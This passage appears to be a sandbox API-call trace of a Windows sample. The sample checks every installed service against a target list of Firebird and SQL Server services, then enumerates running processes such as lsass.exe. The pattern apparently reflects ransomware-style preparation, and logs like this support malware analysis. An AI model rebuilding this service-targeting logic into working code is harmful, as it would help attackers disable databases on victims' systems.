[0288.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0288.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0288.663] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0288.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0288.663] lstrlenW (lpString="Audiosrv") returned 8 [0288.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0288.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0288.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0288.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0288.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0288.663] lstrlenW (lpString="BFE") returned 3 [0288.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0288.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0288.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0288.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0288.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0288.663] lstrlenW (lpString="BITS") returned 4 [0288.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0288.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0288.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0288.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0288.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0288.663] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0288.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0288.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0288.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0288.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0288.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0288.663] lstrlenW (lpString="CDPSvc") returned 6 [0288.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0288.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0288.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0288.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0288.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0288.663] lstrlenW (lpString="ClickToRunSvc") returned 13 [0288.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0288.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0288.663] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0288.664] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0288.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0288.664] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0288.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0288.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0288.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0288.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0288.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0288.664] lstrlenW (lpString="CryptSvc") returned 8 [0288.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0288.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0288.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0288.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0288.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0288.664] lstrlenW (lpString="DcomLaunch") returned 10 [0288.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0288.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0288.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0288.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0288.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0288.664] lstrlenW (lpString="DeviceAssociationService") returned 24 [0288.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0288.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0288.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0288.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0288.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0288.664] lstrlenW (lpString="Dhcp") returned 4 [0288.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0288.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0288.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0288.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0288.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0288.664] lstrlenW (lpString="Dnscache") returned 8 [0288.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0288.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0288.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0288.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0288.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0288.665] lstrlenW (lpString="DPS") returned 3 [0288.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0288.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0288.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0288.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0288.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0288.665] lstrlenW (lpString="DusmSvc") returned 7 [0288.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0288.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0288.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0288.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0288.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0288.665] lstrlenW (lpString="EventLog") returned 8 [0288.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0288.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0288.665] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0288.665] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0288.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0288.665] lstrlenW (lpString="EventSystem") returned 11 [0288.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0288.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0288.665] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0288.665] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0288.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0288.665] lstrlenW (lpString="FontCache") returned 9 [0288.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0288.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0288.666] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0288.666] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0288.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0288.666] lstrlenW (lpString="gpsvc") returned 5 [0288.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0288.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0288.666] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0288.666] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0288.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0288.666] lstrlenW (lpString="iphlpsvc") returned 8 [0288.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0288.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0288.666] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0288.666] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0288.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0288.666] lstrlenW (lpString="KeyIso") returned 6 [0288.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0288.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0288.666] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0288.666] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0288.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0288.666] lstrlenW (lpString="LanmanServer") returned 12 [0288.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0288.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0288.666] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0288.666] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0288.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0288.666] lstrlenW (lpString="LanmanWorkstation") returned 17 [0288.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0288.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0288.667] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0288.667] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0288.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0288.667] lstrlenW (lpString="lfsvc") returned 5 [0288.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0288.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0288.667] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0288.667] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0288.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0288.667] lstrlenW (lpString="lmhosts") returned 7 [0288.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0288.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0288.667] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0288.667] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0288.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0288.667] lstrlenW (lpString="LSM") returned 3 [0288.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0288.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0288.667] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0288.667] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0288.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0288.667] lstrlenW (lpString="MpsSvc") returned 6 [0288.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0288.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0288.667] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0288.667] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0288.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0288.667] lstrlenW (lpString="NcbService") returned 10 [0288.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0288.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0288.668] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0288.668] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0288.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0288.668] lstrlenW (lpString="netprofm") returned 8 [0288.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0288.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0288.668] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0288.668] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0288.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0288.668] lstrlenW (lpString="NgcSvc") returned 6 [0288.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0288.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0288.668] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0288.668] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0288.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0288.668] lstrlenW (lpString="NlaSvc") returned 6 [0288.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0288.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0288.668] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0288.668] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0288.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0288.668] lstrlenW (lpString="nsi") returned 3 [0288.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0288.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0288.668] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0288.668] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0288.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0288.668] lstrlenW (lpString="PcaSvc") returned 6 [0288.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0288.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0288.668] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0288.669] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0288.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0288.669] lstrlenW (lpString="PlugPlay") returned 8 [0288.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0288.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0288.669] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0288.669] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0288.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0288.669] lstrlenW (lpString="Power") returned 5 [0288.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0288.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0288.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0288.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0288.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0288.669] lstrlenW (lpString="ProfSvc") returned 7 [0288.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0288.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0288.669] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0288.669] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0288.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0288.669] lstrlenW (lpString="RpcEptMapper") returned 12 [0288.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0288.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0288.669] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0288.669] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0288.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0288.669] lstrlenW (lpString="RpcSs") returned 5 [0288.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0288.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0288.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0288.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0288.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0288.670] lstrlenW (lpString="SamSs") returned 5 [0288.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0288.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0288.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0288.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0288.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0288.670] lstrlenW (lpString="Schedule") returned 8 [0288.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0288.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0288.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0288.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0288.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0288.670] lstrlenW (lpString="SecurityHealthService") returned 21 [0288.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0288.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0288.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0288.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0288.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0288.670] lstrlenW (lpString="SENS") returned 4 [0288.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0288.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0288.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0288.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0288.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0288.670] lstrlenW (lpString="ShellHWDetection") returned 16 [0288.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0288.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0288.670] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0288.670] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0288.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0288.671] lstrlenW (lpString="Spooler") returned 7 [0288.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0288.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0288.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0288.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0288.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0288.671] lstrlenW (lpString="SSDPSRV") returned 7 [0288.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0288.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0288.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0288.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0288.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0288.671] lstrlenW (lpString="StateRepository") returned 15 [0288.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0288.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0288.671] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0288.671] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0288.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0288.671] lstrlenW (lpString="SysMain") returned 7 [0288.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0288.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0288.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0288.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0288.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0288.671] lstrlenW (lpString="SystemEventsBroker") returned 18 [0288.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0288.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0288.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0288.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0288.671] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x8214d8 | out: hHeap=0x730000) returned 1 [0288.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10a4 [0288.801] Process32FirstW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.802] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0288.802] lstrlenW (lpString="System") returned 6 [0288.803] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0288.804] lstrlenW (lpString="smss.exe") returned 8 [0288.804] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.804] lstrlenW (lpString="csrss.exe") returned 9 [0288.805] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0288.805] lstrlenW (lpString="wininit.exe") returned 11 [0288.805] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0288.806] lstrlenW (lpString="csrss.exe") returned 9 [0288.806] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0288.807] lstrlenW (lpString="winlogon.exe") returned 12 [0288.807] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0288.808] lstrlenW (lpString="services.exe") returned 12 [0288.808] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0288.809] lstrlenW (lpString="lsass.exe") returned 9 [0288.809] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0288.809] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0288.810] Process32NextW (in: hSnapshot=0x10a4, lppe=0x8d1fd2c 